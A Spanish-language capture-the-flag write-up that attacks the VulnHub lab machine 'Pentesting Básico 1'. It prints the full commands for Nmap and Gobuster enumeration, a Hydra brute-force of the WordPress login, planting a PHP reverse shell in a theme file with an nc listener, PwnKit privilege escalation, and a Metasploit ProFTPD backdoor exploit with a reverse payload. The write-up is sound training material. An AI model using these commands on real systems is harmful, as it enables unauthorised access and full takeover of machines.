**Informe Profesional - Máquina CTF Pentesting Básico 1**

**VulnHub**

**Introducción:**

El presente informe documenta el proceso de pentesting realizado en la máquina CTF "Pentesting Básico 1", con el objetivo de obtener acceso no autorizado y privilegios root para obtener el control total de la misma. Se llevaron a cabo diversas actividades y pruebas de penetración para identificar vulnerabilidades y puntos débiles en la seguridad de la máquina. A continuación, se detallan los resultados obtenidos y las metodologías utilizadas.

**Enumeración de servicios:**

Se realizó un escaneo de puertos utilizando la herramienta Nmap, obteniendo los siguientes resultados:

* 21/tcp open ftp ProFTPD 1.3.3c
* 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
* 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

***Comandos:***

* ***nmap -sS -sV <IP>***

**Escaneo y enumeración de directorios:**

Se utilizó la herramienta Gobuster para realizar un escaneo de directorios en el servicio HTTP. Se obtuvieron los siguientes resultados destacados:

**Análisis en el Directorio raíz:**

* /.php (Estado: 403) [Tamaño: 292]
* /index.html (Estado: 200) [Tamaño: 177]
* /.html (Estado: 403) [Tamaño: 293]
* /secret (Estado: 301) [Tamaño: 315] [--> <http://192.168.20.27/secret/>]

**Analisis en el Directorio /secret:**

* /.php (Estado: 403) [Tamaño: 299]
* /.html (Estado: 403) [Tamaño: 300]
* /wp-content (Estado: 301) [Tamaño: 326] [--> http://192.168.20.27/secret/wp-content/]
* /index.php (Estado: 301) [Tamaño: 0] [--> http://192.168.20.27/secret/]
* /wp-login.php (Estado: 200) [Tamaño: 2338]
* /license.txt (Estado: 200) [Tamaño: 19935]
* /wp-includes (Estado: 301) [Tamaño: 327] [--> http://192.168.20.27/secret/wp-includes/]
* /readme.html (Estado: 200) [Tamaño: 7415]
* /wp-trackback.php (Estado: 200) [Tamaño: 135]
* /wp-admin (Estado: 301) [Tamaño: 324] [--> http://192.168.20.27/secret/wp-admin/]
* /xmlrpc.php (Estado: 405) [Tamaño: 42]

Se realizaron pruebas de enumeración de directorios utilizando Gobuster en la máquina CTF "Pentesting Básico 1". Los resultados revelaron la existencia de varios directorios y archivos accesibles en la raíz y en el directorio "/secret".

***Comandos:***

* ***gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***
* ***gobuster dir -u http://<IP>/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

**Acceso a la Maquina:**

Hay dos formas para obtener acceso a la Maquina de Pentesting Basico 1

**PRIMERA FORMA:**

**Fuerza Bruta Manual para Inicio de Sesión en WordPress**

Realizamos un intento de fuerza bruta manual utilizando las credenciales "admin:admin", que son comúnmente probadas por defecto. Por suerte, logramos obtener un acceso exitoso al panel de administración de la página de WordPress. Además, también pudimos obtener la contraseña utilizando la herramienta Hydra con el siguiente comando:

***hydra -vV -l admin -P /usr/share/wordlists/rockyou.txt 192.168.20.27 http-post-form "/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=log+In:F=is incorrect"***

Con este ataque de fuerza bruta, pudimos descubrir la contraseña válida para el usuario "admin", lo que nos permitió acceder al sistema y obtener control sobre el sitio web de WordPress.

**Acceso a Maquina mediante Revershell**

Intentaremos colocar una reverse shell en el editor de plantillas utilizando el archivo "/usr/share/webshells/php/php-reverse-shell.php". Configuraremos este archivo con la dirección IP de nuestra máquina atacante y el puerto 1234. Luego, copiaremos el código y lo pegaremos en el archivo "404.php". Finalmente, nos pondremos en modo escucha usando el comando "nc -lvp 1234" para recibir la reverse shell en nuestra máquina. Para ejecutar la reverse shell, utilizaremos la URL "secret/wp-content/themes/twentyseventeen/404.php".

Con estos pasos, buscamos obtener acceso a la máquina objetivo y obtener una shell reversa para poder controlarla desde nuestra máquina atacante. Cabe mencionar que siempre es importante realizar este tipo de pruebas en entornos controlados y con el consentimiento del propietario del sistema para evitar problemas legales y de seguridad.

***Comandos:***

* ***cp /usr/share/webshells/php/php-reverse-shell.php ./rshell.php***
* ***nc -lvp 1234***

***TRATAMIENTO SHELL***

***python3 -c 'import pty; pty.spawn("/bin/bash")'***

***control z***

***stty raw -echo; fg***

***reset xterm***

***export TERM=xterm***

***export SHELL=bash***

***stty rows 28 columns 148***

**Elevacion de Privilegios Root**

Usamos Linpeas.sh y descubrimos que podemos usar PwnKit y con ello lo pasamos a la maquina victima lo ejecutamos y obtuvimos acceso root

**SEGUNDA FORMA:**

**Busca de Vulnerabilidades con NMAP**

Realizamos un escaneo con nmap ejecutando un script para encontrar vulnerabilidades con el comando: ***nmap -A --script vuln 192.168.20.27***

Entre los resultados encontramos una vulnerabilidad un backdoor en el servicio ftp por el cual usaremos metasploit para obtener acceso a la maquina utilizando los siguiente comandos:

* msfconsole -q
* search ProFTPD 1.3.3c
* use 0
* set rhosts <IP objetivo>
* set lhost <IP atacante>
* set payload cmd/unix/reverse
* exploit

Obtenemos acceso a la maquina y con privilegios root

**Conclusiones:**

Durante la resolución de la maquina CTF Pentesting Básico 1, se realizaron diversas etapas que incluyeron la enumeración de servicios, el escaneo y enumeración de directorios, Fuera bruta manual al inicio de sesión de una página de WordPress y la elevación de privilegios, la cual realizamos el acceso a la máquina de dos formas, tanto usando el método de una revershell o usando la herramienta metasploit una vez conociendo las vulnerabilidades del sistema gracias a la herramienta nmap . Todas las actividades se llevaron a cabo dentro de los límites éticos y legales establecidos.